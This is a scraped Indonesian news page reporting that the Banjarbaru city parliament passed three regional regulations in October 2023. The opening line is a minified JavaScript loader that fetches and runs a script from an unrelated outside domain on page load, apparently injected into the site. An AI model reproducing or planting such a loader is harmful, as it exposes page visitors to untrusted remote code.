(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Sahkan Tiga Raperda, Ini Kata Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru sahkan tiga buah Rancangan Peraturan Daerah (Raperda) menjadi Peraturan Daerah (Perda) yang diterapkan terhitung sejak pengesahan aturan itu.

Pengesahan ditandai Ketua DPRD Banjarbaru Fadliansyah bersama Wali Kota Banjarbaru HM Aditya Mufti Ariffin menandatangani berita acara keputusan bersama melalui rapat paripurna di DPRD Banjarbaru, Selasa (17/10/2023).

“Hasil kesepakatan bersama yang telah disetujui seluruh anggota DPRD dan tim pembentukan Perda Pemko Banjarbaru diputuskan pengesahan tiga Raperda menjadi Perda,” ujar Ketua DPRD Banjarbaru Fadliansyah setelah rapat paripurna.

Tiga Raperda yang resmi disahkan yakni Perda tentang perubahan atas Perda nomor 10 tahun 2016 tentang pembentukan susunan perangkat daerah Pemko Banjarbaru.

Baca juga: Kasus Cuci Uang Narkoba Ayah Fredy Pratama Ditangani Jaksa Kasus Ferdy Sambo

Perda lainnya yang disahkan yakni Perda tentang pajak daerah dan retribusi daerah, serta Perda tentang kemudahan, perlindungan, dan pemberdayaan koperasi usaha mikro.

“Kami berharap, perda yang telah disahkan mampu mencapai tujuan baik untuk peningkatan pendapatan daerah, kelengkapan organisasi dan koperasi, serta usaha mikro yang terus berkembang,” ujar Fadliansyah.

Dijelaskan Fadliansyah, Perda pajak dan retribusi merupakan turunan kebijakan pemerintah pusat, dengan pemotongan pajak daerah seperti pajak parkir dan penerangan jalan umum (PJU) sebesar 10 persen.

Kemudian Perda kemudahan dan perlindungan koperasi Usaha Mikro mengatasi pentingnya permodalan UMKM dan pembinaan dengan persyaratan usaha setidaknya satu tahun dan izin yang sah.

Baca juga: Diduga Berawal Pesan WhatsApp Mesra, Seorang Pemuda Diperas hingga Rp14 Juta

Sementara, Perda STOK mencakup penyesuaian nomenklatur beberapa SKPD seperti struktur organisasi Badan Penanggulangan Bencana Daerah (BPBD) yang ditingkatkan status menjadi grade A.

“Kita semua berharap, SKPD terkait mampu menjalankan tugas dengan baik sehingga tujuan pembentukan Perda tercapai sesuai rencana agar bisa membangun daerah maupun pengembangan koperasi,” katanya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

51 menit ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

13 jam ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

14 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Sah! UMP Kalimantan Barat Naik 6,12% Masih Jadi UMP Terendah di Kalimantan?

Besaran Upah Minimum Provinsi (UMP) 2026 di seluruh Indonesia telah diumumkan sejak akhir 2025 lalu… Read More

15 jam ago

This website uses cookies.